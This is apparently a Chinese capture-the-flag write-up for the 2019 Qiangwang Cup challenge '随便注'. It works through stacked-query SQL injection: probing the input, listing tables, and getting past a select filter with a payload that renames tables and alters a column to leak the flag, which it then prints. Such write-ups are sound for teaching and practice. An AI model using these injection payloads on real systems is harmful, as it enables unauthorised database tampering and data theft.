[强网杯 2019]随便注
打开网址,发现这是一道SQL注入题目
对sql注入题目,先查询有哪几张表,提交框输入1’ or 1=1;# 试试
发现并没得到啥有效信息。于是看看这输入框中查询的表有几列字段,直到输入1’ order by 3;# 发现报错误,说明只有两列。
知道两列后再搞清楚该输入框查询的是哪张表。输入1’; show tables;# ,显示在该数据库下存在两张表,1919810931114514,words
知道存在两张表后,查询这两张表的列字段,看看有没有啥有效信息
进入word表后,发现有id和data两列字段,说明之前可能查的是该表,但看列名字并没有啥有效信息
进入1919810931114514表后,发现只有一列,说明之前查询的一直都是word表,并发现有flag字段,说明答案在该表里
并且可以推出,提交框的sql语句大致为:
select id,data from words where id=
试试直接查询该表,输入1’; select flag from 1919810931114514; #
说明将select updata等语句过滤了,不能直接使用,但我们可以将1919810931114514表替换掉word表,这样前台查询的就是1919810931114514表的数据
1';rename table `words` to words2;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);#
注意:上述操作最好一次完成,由于我们直接改变表名称,但后台的sql查询语句没有修改,若分多次完成,会导致直接报错;改变表名称后一定要同时修改1919810931114514列名称,不然后台select id,data from words where id= 语句会直接报错
修改完后,直接SQL注入,输入1’ or 1=1; 即可看到答案
flag{8c4d84ec-9e73-4059-96f5-4be09044b9e1}